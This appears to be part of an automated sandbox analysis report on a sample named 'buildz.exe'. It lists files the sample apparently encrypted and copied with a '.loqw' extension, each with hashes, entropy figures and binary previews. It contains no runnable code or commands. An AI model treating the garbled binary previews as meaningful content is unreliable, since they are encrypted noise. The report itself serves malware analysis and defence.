Encrypted:	false
SSDEEP:	24:4EMfsulCMHNWkKUsbGPtnj+GisdsR2OrhEAFhzYrQ08qlezRbD:4dtl2t6tn6BnDqrX8G6D
MD5:	55CE9EB40D78CC6CA912FBC15181800E
SHA1:	072DAEE0F84E0E4E043117343A2932560B4AB2D9
SHA-256:	4D7A5621FD113DAA90D7BA5432C1CC0D5493C94EBEEFB994875DCD3C75B046C2
SHA-512:	D33AFF8F63AB0AA7BEC1AA1192AD0529D4B72112FCF5CC804F989DA75EE54D750C77F87C7EECD2DA3CB35B4CC248FCF9EAC2441B0DDDE81B0FD6E0877F577328
Malicious:	false
Reputation:	unknown
Preview:	KATAX.B.1..0T....T....z....Ee.T..ei........AS.v.~=..y.S........f..2CF!.l1..X.s..B..~Qn...../P"......y......UqdK.,...A.O;C....>P.....RXvN'w\..'.~...@.L..~7.+@..=...?A...\|...z.[;].:,.....V%.......m...fg...[..IY.!......;~H....]......i....f..H..0.........=u:d=..@..w'S..Z..H....A..3.....Y.q....5W..a.D..W.....[."...BM)!..G..4gA...+...{"?....u]...W.2+f5z..F.y..V/U>...sM.....i...}.,....z7hu..U..'H)e.w..M...Pi..r.........G.....6C.....p). .CW@u.m...mW!..c..*.O..[.....4.IV....e......F^.z~+..'.-\..2..F1 I....2....x...L.S..'....2Hjo..p.@`...2..r3m..\|....^pB.J>.E.l6 ....SB4-..A.c.0.x./V..1..\|.......Aqo......AX.L .\|..>........Dds"..=.<2....(..=..{......UD0.Wa...!..Y.........4....K\|....B...Qr)$.W..8.?.q......c_.I......T.7...Z...o.b....jY..7.....1W...q.e..B......n.t.........LI...{Es.1\.o=W;..v<....t...x.f...L.}.)..z...........o...Q.....H..........s...Ph......5.....z..Lq.Z......Lz..S?.9.'..$5:9?#..):.P!.o..N.....T....2......k.u2....kS7.....~7.L

C:\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841763536208904
Encrypted:	false
SSDEEP:	24:WHPcmGpOOfHW01qbeIpVb72i0AOrPhrCWnyb8DBuBGk30bD:J3pOkW8Bw97GAOrtSb8lmPuD
MD5:	CE8204E54E7EFEBA3A5BD8207C0E4C08
SHA1:	41353B0805AE29D97BD70FEEB614ABE92B8C9DD3
SHA-256:	699BD76F2F171458242B9AB8938DD6D2C03EDEC7FED8944814F620B5ED912567
SHA-512:	D2DBBFD7B267146544579A17C54DA29E92CDF6DDC72FBC38CA661A6E3D248BFB5F905A14474EEAC74E0FAA32591BFDF5A84A081EA754E8401651B29C7802F53B
Malicious:	false
Reputation:	unknown
Preview:	KATAX).M..Xv......c.>.f......&..c.<.b.fjN.JI'._`..&....$f....A....E.b.LX.}.._...\|.f...N....xseLP1..%{i.....B7W@.g.....C...U...e.1 .1..<1.d.a.....!..K.2.#.QW...x..~-P.b0.UA.-..J..Cv-?..@...F.....%1.T....m.m.5r..Vh....e../..MY".R...E...;Y.n0....S....!...z=h....y.%..n..!........i..^l^.N....J.+P.P.v..C...-...-,:..u`(....`?...u!(N.)J..=1L..........e....}."-4.3Mn...-T.."y.Tpj.a ....../..u..;..-`.+\59.......$.U%.'..)E\|u1....i.W.GY.....&fJ.Q"D......x..u.g..I:.....,2"....09.\...F08.-.....Cs.c....r...x.`...9.. M.H8..(h.:.^..N.....k.u..A,-.D)dXU.~Yv....@..a..]HV%L......g;..X.V.....d.<....\B.6.....Y..9.g....sk.L.8W.......l..".j....g?.`o.5..w6..w..t....{..L.X.9.!Kx.......!...~......%e.JPruh...H+.mL..]...3.'..bW....a5Q.l.2R,.9]...(p.AZ.....$.7...69.......U.q.#...e.......E}-...-ZI.mi..Pe.h...Ug.....A....Fq..sB{Q......h....o._..K...i..keX7~(..+.!...y...l..C.2@9.-oy.j.....y...c)....B.].."..E..6]..,...Bu....b.w.\|....S...>.....`.j."....;i$..d.....&.7

C:\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841763536208904
Encrypted:	false
SSDEEP:	24:WHPcmGpOOfHW01qbeIpVb72i0AOrPhrCWnyb8DBuBGk30bD:J3pOkW8Bw97GAOrtSb8lmPuD
MD5:	CE8204E54E7EFEBA3A5BD8207C0E4C08
SHA1:	41353B0805AE29D97BD70FEEB614ABE92B8C9DD3
SHA-256:	699BD76F2F171458242B9AB8938DD6D2C03EDEC7FED8944814F620B5ED912567
SHA-512:	D2DBBFD7B267146544579A17C54DA29E92CDF6DDC72FBC38CA661A6E3D248BFB5F905A14474EEAC74E0FAA32591BFDF5A84A081EA754E8401651B29C7802F53B
Malicious:	false
Reputation:	unknown
Preview:	KATAX).M..Xv......c.>.f......&..c.<.b.fjN.JI'._`..&....$f....A....E.b.LX.}.._...\|.f...N....xseLP1..%{i.....B7W@.g.....C...U...e.1 .1..<1.d.a.....!..K.2.#.QW...x..~-P.b0.UA.-..J..Cv-?..@...F.....%1.T....m.m.5r..Vh....e../..MY".R...E...;Y.n0....S....!...z=h....y.%..n..!........i..^l^.N....J.+P.P.v..C...-...-,:..u`(....`?...u!(N.)J..=1L..........e....}."-4.3Mn...-T.."y.Tpj.a ....../..u..;..-`.+\59.......$.U%.'..)E\|u1....i.W.GY.....&fJ.Q"D......x..u.g..I:.....,2"....09.\...F08.-.....Cs.c....r...x.`...9.. M.H8..(h.:.^..N.....k.u..A,-.D)dXU.~Yv....@..a..]HV%L......g;..X.V.....d.<....\B.6.....Y..9.g....sk.L.8W.......l..".j....g?.`o.5..w6..w..t....{..L.X.9.!Kx.......!...~......%e.JPruh...H+.mL..]...3.'..bW....a5Q.l.2R,.9]...(p.AZ.....$.7...69.......U.q.#...e.......E}-...-ZI.mi..Pe.h...Ug.....A....Fq..sB{Q......h....o._..K...i..keX7~(..+.!...y...l..C.2@9.-oy.j.....y...c)....B.].."..E..6]..,...Bu....b.w.\|....S...>.....`.j."....;i$..d.....&.7

C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860233811687725
Encrypted:	false
SSDEEP:	24:ks69/bRJ2OH6FWjpIDYJSuzZMlGIB6y2+FZpMQ2UbD:2/f2OVlImZMw26y26fMQJD
MD5:	80F319E6B7E191BE51445791D3F6FEC2
SHA1:	DAAF89986998F745BBCBBF7B65F4B33904184C10
SHA-256:	528CA6D86855EAC90846CCC0649D3CCFC4470A327720EDBCC78CABC902467B55
SHA-512:	DA3F67149730A3201B0FC7A9D43D2F4F3086D004AEF459E3E72D2D08779AF30C3568586DAC4DD1924595DC82E3C83BB02D76814597420E5AF2F3BB6525A493C8
Malicious:	false
Reputation:	unknown
Preview:	LTKMY..........u.h..\./. q.#..+.3.......>c....).h^V.Y.!.xu.\|.&..'.~.......S.l...3..K...84..3.)...^..KS..,@.y.....o.m..>...(e....c...P.a...R.$....Z..'..@+:........f...\|....^.....:.Vk..`.d..t>..=..-....b...o.-.5b..W...Nj..4.k{b.H.t.t\|.b...i.I-j.8.S..S....ln.f.........`.2..Yh..8;..T%/.g....f``.d.u.D......V...l1.m..5,.Nhu.^)...............Q...J(.Vx.Fl2.'0.T.].p."R.+cU].6.\u.qi........U...BPV}n.5'O..........8.I,{b2%......k{P.&f...F.......<O.........{1+2.4..._...f.y`.+..'..iL6...a.Zl.7=g;.Z...K..k.dzE...F...x...K...d^v.........3..U..#..(..PjeM.~.../r.....o......M.;a.A.F?...T"a......O\|y....At.hR.`G=D...Th=y_.S..Xo~j.m.J........C..@2....hD.i6....@rs..X....Wv.7...A..R..m...m\x...I...t...v.....?.EM..W.b.....Kl..3..I..x\|.%L..B....t~.~..sL...9.=....7o......I.3..^{.Pc/..\|6.Vs/-.n..)...J..`.t..>....=s.\.p....w..$/c....N.a...6...EW..C. ..r@...G....V.....C..%...JG.......?'.e......Z......2...[\\...L...2..5.&..F.XO..?..............0zP.>.f.(..C.c.`.."..$U...

C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.pdf.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860233811687725
Encrypted:	false
SSDEEP:	24:ks69/bRJ2OH6FWjpIDYJSuzZMlGIB6y2+FZpMQ2UbD:2/f2OVlImZMw26y26fMQJD
MD5:	80F319E6B7E191BE51445791D3F6FEC2
SHA1:	DAAF89986998F745BBCBBF7B65F4B33904184C10
SHA-256:	528CA6D86855EAC90846CCC0649D3CCFC4470A327720EDBCC78CABC902467B55
SHA-512:	DA3F67149730A3201B0FC7A9D43D2F4F3086D004AEF459E3E72D2D08779AF30C3568586DAC4DD1924595DC82E3C83BB02D76814597420E5AF2F3BB6525A493C8
Malicious:	false
Reputation:	unknown
Preview:	LTKMY..........u.h..\./. q.#..+.3.......>c....).h^V.Y.!.xu.\|.&..'.~.......S.l...3..K...84..3.)...^..KS..,@.y.....o.m..>...(e....c...P.a...R.$....Z..'..@+:........f...\|....^.....:.Vk..`.d..t>..=..-....b...o.-.5b..W...Nj..4.k{b.H.t.t\|.b...i.I-j.8.S..S....ln.f.........`.2..Yh..8;..T%/.g....f``.d.u.D......V...l1.m..5,.Nhu.^)...............Q...J(.Vx.Fl2.'0.T.].p."R.+cU].6.\u.qi........U...BPV}n.5'O..........8.I,{b2%......k{P.&f...F.......<O.........{1+2.4..._...f.y`.+..'..iL6...a.Zl.7=g;.Z...K..k.dzE...F...x...K...d^v.........3..U..#..(..PjeM.~.../r.....o......M.;a.A.F?...T"a......O\|y....At.hR.`G=D...Th=y_.S..Xo~j.m.J........C..@2....hD.i6....@rs..X....Wv.7...A..R..m...m\x...I...t...v.....?.EM..W.b.....Kl..3..I..x\|.%L..B....t~.~..sL...9.=....7o......I.3..^{.Pc/..\|6.Vs/-.n..)...J..`.t..>....=s.\.p....w..$/c....N.a...6...EW..C. ..r@...G....V.....C..%...JG.......?'.e......Z......2...[\\...L...2..5.&..F.XO..?..............0zP.>.f.(..C.c.`.."..$U...

C:\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8302732268349144
Encrypted:	false
SSDEEP:	24:WnaOYWabfA1moQabX0f/ADXLijEL/fFTpEDSVuJCX9HuY7OHCelQdW+4Oye4oCFa:WaOYWabWmna70f4TLci1TpRr7Oxt+H+q
MD5:	0BAAF12E09F8AE5A896DA3C224746F8A
SHA1:	8F015AE0F56FD21FD3522161772D919E2B1AEE71
SHA-256:	A49EB1B51E2471A8740D72F715711BD8D15C0A8F3800199953EEC1BBE74DB8B5
SHA-512:	430ABDF17671AD7934E716DEC41EF9F52F22B6446535C572AF602B841B74595C590217A5B8E59C1C92868B5260A3D2D4ADB91637EB5866C67A5E223EC2DBD419
Malicious:	false
Reputation:	unknown
Preview:	ONBQC...b.......G.....R(......w.a..W.L..O.ly.3.V...!..@....M...qD_.....H...S..d67i.6q.Dr.oC.f.......U.../c....x.1.P....41.X2Z....oI..m;/.?..[..o.2qr'.r..AM...D.....'.>..OGok.X-..)...Y.WB..':..).?..t....i..C..aS$s.C.`5P.....2z..0.&.xd...;...R...}..s...+.pMlj.H..+...>...^.&.......a.k..4....3.=..2.(..m........r..G.1...l...C.4....[W..v.G.......5;...E..&!..{.S..zNah.Ip....HF.Y.(.rhr..b{x...:t&..\|.8..;...}...Be.WH..qiR)[.7.8.!(..`..j.X....}tD.8{...i7.q..x......=....^.q.#b....q.d.R".$.>..X....;.[.5.{U"................>...w..!.?....4.oJ.?..e.t...!f..;=.-..4e.\x.6...L....y.?\|H??L.....-/..T..R....u..b..O.CN.\W....bu..1i.o<W.}...JR....v..U.p.....^..W.!....R......q.1....O[....".m.s...a$~Q..x.H...l?..b......\|......[9M.{,...I.(.CL. a.....C.{.g!....C.s6\.....C..)~.>r-..r.5O..../9..XAW..V.....Zj....b.0`..MI ......An.....Vnq?.LC.p.....ur{{. !..v.L....0Zw..*.'Ez..t..,.....m.u7RW..t.3.U.:......a.....i.1...i[q.j..L..T....O...3..........a..D.?.\|....Bi<.p.9

C:\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8302732268349144
Encrypted:	false
SSDEEP:	24:WnaOYWabfA1moQabX0f/ADXLijEL/fFTpEDSVuJCX9HuY7OHCelQdW+4Oye4oCFa:WaOYWabWmna70f4TLci1TpRr7Oxt+H+q
MD5:	0BAAF12E09F8AE5A896DA3C224746F8A
SHA1:	8F015AE0F56FD21FD3522161772D919E2B1AEE71
SHA-256:	A49EB1B51E2471A8740D72F715711BD8D15C0A8F3800199953EEC1BBE74DB8B5
SHA-512:	430ABDF17671AD7934E716DEC41EF9F52F22B6446535C572AF602B841B74595C590217A5B8E59C1C92868B5260A3D2D4ADB91637EB5866C67A5E223EC2DBD419
Malicious:	false
Reputation:	unknown
Preview:	ONBQC...b.......G.....R(......w.a..W.L..O.ly.3.V...!..@....M...qD_.....H...S..d67i.6q.Dr.oC.f.......U.../c....x.1.P....41.X2Z....oI..m;/.?..[..o.2qr'.r..AM...D.....'.>..OGok.X-..)...Y.WB..':..).?..t....i..C..aS$s.C.`5P.....2z..0.&.xd...;...R...}..s...+.pMlj.H..+...>...^.&.......a.k..4....3.=..2.(..m........r..G.1...l...C.4....[W..v.G.......5;...E..&!..{.S..zNah.Ip....HF.Y.(.rhr..b{x...:t&..\|.8..;...}...Be.WH..qiR)[.7.8.!(..`..j.X....}tD.8{...i7.q..x......=....^.q.#b....q.d.R".$.>..X....;.[.5.{U"................>...w..!.?....4.oJ.?..e.t...!f..;=.-..4e.\x.6...L....y.?\|H??L.....-/..T..R....u..b..O.CN.\W....bu..1i.o<W.}...JR....v..U.p.....^..W.!....R......q.1....O[....".m.s...a$~Q..x.H...l?..b......\|......[9M.{,...I.(.CL. a.....C.{.g!....C.s6\.....C..)~.>r-..r.5O..../9..XAW..V.....Zj....b.0`..MI ......An.....Vnq?.LC.p.....ur{{. !..v.L....0Zw..*.'Ez..t..,.....m.u7RW..t.3.U.:......a.....i.1...i[q.j..L..T....O...3..........a..D.?.\|....Bi<.p.9

C:\Users\user\Desktop\ONBQCLYSPU\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830919311351619
Encrypted:	false
SSDEEP:	24:MjKtfVh8HzQKzfkbdAfwUfqsXnwKIlaean0sJwadKNocQNPtrkHv2co4n+RabD:MCgQKzsqoU/wUR0sJpKod1rkHvHoW+2D
MD5:	19FC014F7201080A206650871ECA18D2
SHA1:	62DBA46A1928E06F7262813E42F012C1BB743B65
SHA-256:	F383AAF74BB6776FF111234319E3C871FC3059EE507410A6616035B31B98B9F0
SHA-512:	7E5892999170DC9DC6C57A497F26CAABFD71CD06F0A190497348CC00306B023A9785A4AA559669C2D8E8C657E8C88367FFF7E0FE8D57F40A6B3B3344F3B36019
Malicious:	false
Reputation:	unknown
Preview:	RAYHIT.t...u..J.....z..w]..>..95.>.p.D..-lD_.....P..%V.....Uz.?..Ft.]..(..ly.&..N]6..w..xmA...r.eH....<..Z...$J.tf5p........CQ.2....$...uT>..f...A....m.r?c.,..P8..j...@.HB[.1.l..OM..u....E....B1.F..Ff..:.....e.h.$rS.1.h(=.pS.......M..d.J(...k-..[.....l... ...E4.l.8V..L......q..G..a.f.i.>..-.5T..{.]..UYD&..a?.%.S.)..xM..J.....T._..F..].{R.......:.Lgd.l.ob.L.l..i.k.X.^f2.+[XP.......\K.r..6.W....bI=[....T.L@.x......`..rt....x...8d...(.f.........$.3UD.#9b9..U..),..Yj...\o....S.G...'......IH....D.F.Z.H..@..v..3.w......D.&.dUcB.^..E..4...k.C#R\|.QRj9..ob0..R.5..-.R. $...I....c!.N.....4<.@.....2.x..........TOt(....7..B4!at.nh.b...4x"d&..C.p.....!.=.&.~....L."5`.^~^...r..#_ZxF...P..W....=.....Sd.N.1........n..^.%...o.r..6...9...fM'.H....+Ea.</:.8M}:.....5.&..=.]?..5..LS..,...<F...._....YkZ......n.f.0.46,.k..}.q...\|.../E.E.b[Z'.....q.<u....S'..V.m..36....$..^.z...wD8P..!..q.b.^..X>p-.r......0.yaT.\H....w..`Q(l.m@R.*..!.+.8...f.hF.j2..o.....5..P....

C:\Users\user\Desktop\ONBQCLYSPU\RAYHIWGKDI.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830919311351619
Encrypted:	false
SSDEEP:	24:MjKtfVh8HzQKzfkbdAfwUfqsXnwKIlaean0sJwadKNocQNPtrkHv2co4n+RabD:MCgQKzsqoU/wUR0sJpKod1rkHvHoW+2D
MD5:	19FC014F7201080A206650871ECA18D2
SHA1:	62DBA46A1928E06F7262813E42F012C1BB743B65
SHA-256:	F383AAF74BB6776FF111234319E3C871FC3059EE507410A6616035B31B98B9F0
SHA-512:	7E5892999170DC9DC6C57A497F26CAABFD71CD06F0A190497348CC00306B023A9785A4AA559669C2D8E8C657E8C88367FFF7E0FE8D57F40A6B3B3344F3B36019
Malicious:	false
Reputation:	unknown
Preview:	RAYHIT.t...u..J.....z..w]..>..95.>.p.D..-lD_.....P..%V.....Uz.?..Ft.]..(..ly.&..N]6..w..xmA...r.eH....<..Z...$J.tf5p........CQ.2....$...uT>..f...A....m.r?c.,..P8..j...@.HB[.1.l..OM..u....E....B1.F..Ff..:.....e.h.$rS.1.h(=.pS.......M..d.J(...k-..[.....l... ...E4.l.8V..L......q..G..a.f.i.>..-.5T..{.]..UYD&..a?.%.S.)..xM..J.....T._..F..].{R.......:.Lgd.l.ob.L.l..i.k.X.^f2.+[XP.......\K.r..6.W....bI=[....T.L@.x......`..rt....x...8d...(.f.........$.3UD.#9b9..U..),..Yj...\o....S.G...'......IH....D.F.Z.H..@..v..3.w......D.&.dUcB.^..E..4...k.C#R\|.QRj9..ob0..R.5..-.R. $...I....c!.N.....4<.@.....2.x..........TOt(....7..B4!at.nh.b...4x"d&..C.p.....!.=.&.~....L."5`.^~^...r..#_ZxF...P..W....=.....Sd.N.1........n..^.%...o.r..6...9...fM'.H....+Ea.</:.8M}:.....5.&..=.]?..5..LS..,...<F...._....YkZ......n.f.0.46,.k..}.q...\|.../E.E.b[Z'.....q.<u....S'..V.m..36....$..^.z...wD8P..!..q.b.^..X>p-.r......0.yaT.\H....w..`Q(l.m@R.*..!.+.8...f.hF.j2..o.....5..P....

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8830445747352265
Encrypted:	false
SSDEEP:	24:S2dx8gE5DVtg4oqTMp017MTBGlim3cZSPB+uIzuFrehWi7XobD:zQVtZh+0136Z+S1hWi7iD
MD5:	FEB394F6502AE65B226D249A6891AFC8
SHA1:	B83DE8C145F454BA6D8EA08573A24DF5C249E4F7
SHA-256:	71F09D1393BB26000643604C00A1284ED1E563DA1C823172FD498CA0B56FF912
SHA-512:	D4452CF85122D449CBF3D8EEE23739B479671A52FBD0400E236745C0D1A587A26FD28F6033A99D20FE18EF71C7EC9772D43A18E6BA73B2ADCD76BD9331BC1C7B
Malicious:	false
Reputation:	unknown
Preview:	YPSIAuv-..]xO.Sw7.p .I..(...Y....z.....G].[.=NN!.O>]nW<.4=,.-...X.;..D.....m...M..wsY....(.&)~iTa.O..GVL(.AM.$}..x?...\.}..(.I!.#^rr{...A.."...>...> 2..s.......@........f....I..v.......S........XW.....D.c.w.m....`...Xp......T?R..z...i...T.....$..&>.?V.]l-...O.....~.N....\|..!.S..f.6\|.%.EU...........#.....J.a_..Q<..Kv.......N..z....."~.h..P.P..k..\..&VM..g...QR..V-..i..DI.E=b..Um.h..^.O}/.2.'.]..?.....Wg..7C..j.Fp>..w.\|..a$W%K...........f..g.r$Fe.!....;a.&!.S._.!...i.)Fm.$....!p..w:....P.....T.o...k<.4..u;..~.iqd.&..;.m.5.l.e..G.8_Wf.......yi...wT....j.x...j.JI.....0..C....F.A.;..7.B..'.`{..^.... B.N.,....L.iH.\|...H~.........5'S..cM..%4.zk..Z......2....i.{.ZJ.<....).....e.?.i..3V...HG..$....5..U.6.......%.YV...../..'....@....lX......].a..F.O...@.",`.Wj.....V5.. .g.....y...Mu..(.i..z.o.....j.0..j"5....X..U..7....}............]^...\|.w#L.4b.T......&.....+c.....y..f0.....N.g..C......z....!.{K0.....[......^..........ib.u...C3:+..b@.x....s

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8830445747352265
Encrypted:	false
SSDEEP:	24:S2dx8gE5DVtg4oqTMp017MTBGlim3cZSPB+uIzuFrehWi7XobD:zQVtZh+0136Z+S1hWi7iD
MD5:	FEB394F6502AE65B226D249A6891AFC8
SHA1:	B83DE8C145F454BA6D8EA08573A24DF5C249E4F7
SHA-256:	71F09D1393BB26000643604C00A1284ED1E563DA1C823172FD498CA0B56FF912
SHA-512:	D4452CF85122D449CBF3D8EEE23739B479671A52FBD0400E236745C0D1A587A26FD28F6033A99D20FE18EF71C7EC9772D43A18E6BA73B2ADCD76BD9331BC1C7B
Malicious:	false
Reputation:	unknown
Preview:	YPSIAuv-..]xO.Sw7.p .I..(...Y....z.....G].[.=NN!.O>]nW<.4=,.-...X.;..D.....m...M..wsY....(.&)~iTa.O..GVL(.AM.$}..x?...\.}..(.I!.#^rr{...A.."...>...> 2..s.......@........f....I..v.......S........XW.....D.c.w.m....`...Xp......T?R..z...i...T.....$..&>.?V.]l-...O.....~.N....\|..!.S..f.6\|.%.EU...........#.....J.a_..Q<..Kv.......N..z....."~.h..P.P..k..\..&VM..g...QR..V-..i..DI.E=b..Um.h..^.O}/.2.'.]..?.....Wg..7C..j.Fp>..w.\|..a$W%K...........f..g.r$Fe.!....;a.&!.S._.!...i.)Fm.$....!p..w:....P.....T.o...k<.4..u;..~.iqd.&..;.m.5.l.e..G.8_Wf.......yi...wT....j.x...j.JI.....0..C....F.A.;..7.B..'.`{..^.... B.N.,....L.iH.\|...H~.........5'S..cM..%4.zk..Z......2....i.{.ZJ.<....).....e.?.i..3V...HG..$....5..U.6.......%.YV...../..'....@....lX......].a..F.O...@.",`.Wj.....V5.. .g.....y...Mu..(.i..z.o.....j.0..j"5....X..U..7....}............]^...\|.w#L.4b.T......&.....+c.....y..f0.....N.g..C......z....!.{K0.....[......^..........ib.u...C3:+..b@.x....s

C:\Users\user\Desktop\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8478866071319215
Encrypted:	false
SSDEEP:	24:ES3esrFM0gXBCk+CEcmzkzhpDi19MPMZD1bJqHO2Mux5x9KvC1/lBrmiObD:deao68UkdpDiUM9196O2vx3L1/ltAD
MD5:	9C1C5A201552A266BE4BA9917541F9A4
SHA1:	E9E221FE77884836C09CC55B1AC43931483BC825
SHA-256:	5DEF1F6E6A9CD4BBF0EEC0FC7C7A6FDC2497BD24950DF26282814BBC8C94BFBA
SHA-512:	857CB3D649FE279FD1BA577EF9182176DAB2303216D89DB69DAC6C32A2EFB020198C64FDEACB8E49BE46163D50F1D0206DB54AB29BC7F636E7F69E23B12F929E
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC........K!=..'c..V.x..k2.Pn =....a.(v..'...p...W7.{+.Do.<..dp.E...gE.....1...N+j.bI...y....9'.%....KK%R&.......6.gg.$.}y..,>.oF......@.dX5....)+q..,...\|2.P].D.....t..F.!~[#......9"PwV[.T...+g5.o..\|..L....RI.r...7.-=.....O....GI...9%#a........U......]..M?.!m.<P..&`..\|..2D0?k/.p{5.6_&c.i.badm.3..i.@-..B....~.n..+..........@,....#Zh.T..;...~w.M....!Oy..]E..u..3..D,=.h...E.>}`T./...<y..0.S.q).(..^Iu....R.W.B.fC !...34q.a.ETuD.p.X...Z`#T..x...r.w.q.....u....$.z~...5K...\.q`..\|B...V!)~c..pv..#.Z..#"T..V.....V....y".G...?2.+.......kOf.y@.RU.G6...6.R..b.h..E0.@Ok%....q..-._.yE3..L.~...lY..hK...V2.Z..s .6s..Q..V...\|).!.z..L...t.R..s9..V.."5..r..H....z....#`.e...t.7#.B..%]..O.F..d.[&.;..+..J=869u..%......YB............E.......0.OI.c...8T...w.v.\......'..y..<Z.].E..>Mf..qc.....k~.6MU[.,8...G....6<^5 ..D.= ..J;.`..YqC>L......0.......^?.Bb.FB....Ha.S_,/if.q0K>.......[.!.g9X.X...{....cD.y.=.W........./p..x....e1.&..&.w..s..%.U...e.J..:..

C:\Users\user\Desktop\ONBQCLYSPU\ZBEDCJPBEY.png.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8478866071319215
Encrypted:	false
SSDEEP:	24:ES3esrFM0gXBCk+CEcmzkzhpDi19MPMZD1bJqHO2Mux5x9KvC1/lBrmiObD:deao68UkdpDiUM9196O2vx3L1/ltAD
MD5:	9C1C5A201552A266BE4BA9917541F9A4
SHA1:	E9E221FE77884836C09CC55B1AC43931483BC825
SHA-256:	5DEF1F6E6A9CD4BBF0EEC0FC7C7A6FDC2497BD24950DF26282814BBC8C94BFBA
SHA-512:	857CB3D649FE279FD1BA577EF9182176DAB2303216D89DB69DAC6C32A2EFB020198C64FDEACB8E49BE46163D50F1D0206DB54AB29BC7F636E7F69E23B12F929E
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC........K!=..'c..V.x..k2.Pn =....a.(v..'...p...W7.{+.Do.<..dp.E...gE.....1...N+j.bI...y....9'.%....KK%R&.......6.gg.$.}y..,>.oF......@.dX5....)+q..,...\|2.P].D.....t..F.!~[#......9"PwV[.T...+g5.o..\|..L....RI.r...7.-=.....O....GI...9%#a........U......]..M?.!m.<P..&`..\|..2D0?k/.p{5.6_&c.i.badm.3..i.@-..B....~.n..+..........@,....#Zh.T..;...~w.M....!Oy..]E..u..3..D,=.h...E.>}`T./...<y..0.S.q).(..^Iu....R.W.B.fC !...34q.a.ETuD.p.X...Z`#T..x...r.w.q.....u....$.z~...5K...\.q`..\|B...V!)~c..pv..#.Z..#"T..V.....V....y".G...?2.+.......kOf.y@.RU.G6...6.R..b.h..E0.@Ok%....q..-._.yE3..L.~...lY..hK...V2.Z..s .6s..Q..V...\|).!.z..L...t.R..s9..V.."5..r..H....z....#`.e...t.7#.B..%]..O.F..d.[&.;..+..J=869u..%......YB............E.......0.OI.c...8T...w.v.\......'..y..<Z.].E..>Mf..qc.....k~.6MU[.,8...G....6<^5 ..D.= ..J;.`..YqC>L......0.......^?.Bb.FB....Ha.S_,/if.q0K>.......[.!.g9X.X...{....cD.y.=.W........./p..x....e1.&..&.w..s..%.U...e.J..:..

C:\Users\user\Desktop\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842388196475552
Encrypted:	false
SSDEEP:	24:CcWoF/Ar+JdiXTHU05sHr3JiTSenvuQK/VyGpn/5oM3G2gNq3xKDcxgZbD:CcWoeKJduTHU05dTSenNKQGpnhoM22gb
MD5:	4C7B00EFED5E3C52A4775F983405F53C
SHA1:	B3E56329133776A4C2B686584B835485B7330F23
SHA-256:	54D8CBD9222CC9A798221EB9E44E19A7F160603E12C138CD182397A16860FA10
SHA-512:	24F38840EDEA47432008555D8A7FEFCBA041CBE1E5B8D09B6086F25BE4A5B103062BC0624A96E7F51FD626B17A9889126352FC2EA0B1F9AE51C16C38B052123D
Malicious:	false
Reputation:	unknown
Preview:	DVWHK".@....].+..IH.O....?.! ...-.y.#.r..u0w....RZ..5.j.,n..<.N).S?.Y.}I{0.>>\|N2L.....B..O....P.l\|.._..m......y........?(....M.j.V..V~..?Z!....N.....o8i..R. .....:th^...?...a..%...6..L...=r.._...Q=z.d....F.....{'..y.v.f...L?...... ..TB;.Ia.N....Q.u.dz%.'.@.t?.....(.[=..q.=\|.l...P..R."/uF8v@.2W._A....F.....K....G.$JX..^....n .<._....F)..N..I...=0.cLq....9...6T.O2Y.SJh."...]{:.<f...H.....jWZR>a.Jw...R6...D.F.e.g.+g!...4...........c!/W...)........@d...^saG.........,&.c:..]^.S.P.kP%..a....=......F y\......+q.8.q.^..&M......l....i.$..P}..\oNngK_.<..x...a.C..a.\..\|.U....=Z...p..\...u....Yk.S.E.......6.^........y..q.p.c:.-.:AK../..8e4$......f.... 